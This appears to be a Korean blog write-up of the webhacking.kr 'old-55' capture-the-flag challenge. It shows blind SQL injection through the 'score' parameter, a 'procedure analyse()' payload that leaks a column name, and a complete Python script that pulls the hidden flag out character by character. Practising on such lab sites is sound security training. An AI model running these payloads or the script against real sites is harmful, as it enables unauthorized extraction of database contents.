old-55 풀이
2024. 4. 15. 21:51ㆍwebhacking.kr
728x90
초록색 슬라임같이 생긴 캐릭터가 보입니다
스코어와 랭크도 보이네요
마우스를 움직이니까 슬라임의 눈이 빨갛게 변하면서 움직입니다
이것만 봐선...ㅋㅋ 이게 무슨 문젠지 모르겠으니, 우선 rank 페이지부터 들어가 보겠습니다
페이지 아래에 보면 MySQL 쿼리도 보입니다
score를 눌러봤습니다
URL에는 score라는 파라미터가 생겼고, 페이지에는 id 정보와 score 값이 나옵니다
score 파라미터에 숫자를 넣어보면서 페이지가 어떻게 변하는지 확인해 보겠습니다
값을 넣어줄 때마다 다른 id가 나옵니다
(0도 넣어봤는데, 0을 넣었을 때는 아무것도 나오지 않았습니다)
MySQL 쿼리가 있는 거면 Blind SQLi일 확률이 높으므로, 참/거짓 값을 넣어서 결괏값이 어떻게 나오는지 확인하겠습니다
참과 거짓의 결과가 다르게 나오네요
(Blind SQLi가 가능하다는 증거!)
procedure을 사용해서 컬럼명을 긁어오겠습니다
?score=2147483647 limit 2,1 procedure analyse()
p4ssw0rd_1123581321가 컬럼명이었습니다
이제 파이썬 코드를 짜서 돌려주겠습니다
import requests
url = "https://webhacking.kr/challenge/web-31/rank.php"
flag = ""
flag_string = "id : Piterpan // 1"
def find_flag_len():
L = 1
while True :
query = "?score=1 and length(p4ssw0rd_1123581321)=" + str(L) + "#"
result = requests.get(url+query)
if flag_string in result.text :
break
L+=1
return L
flag_len = find_flag_len()
for i in range(1, flag_len + 1) :
for c in range(33, 127) :
query="?score=1 and ord(right(left(p4ssw0rd_1123581321," + str(i) + "), 1)) = "+ str(c) +"#"
result = requests.get(url+query)
if flag_string in result.text :
flag += chr(c)
print(flag)
break
print("FIND FLAG : ", flag)
728x90
'webhacking.kr' 카테고리의 다른 글
old-40 풀이 (0) | 2024.05.04 |
---|---|
old-29 풀이 (0) | 2024.05.02 |
old-13 풀이 (0) | 2024.04.11 |
g00gle2 풀이 (0) | 2024.04.10 |
baby toctou🍼 풀이 (PW = FLAG) (0) | 2024.04.08 |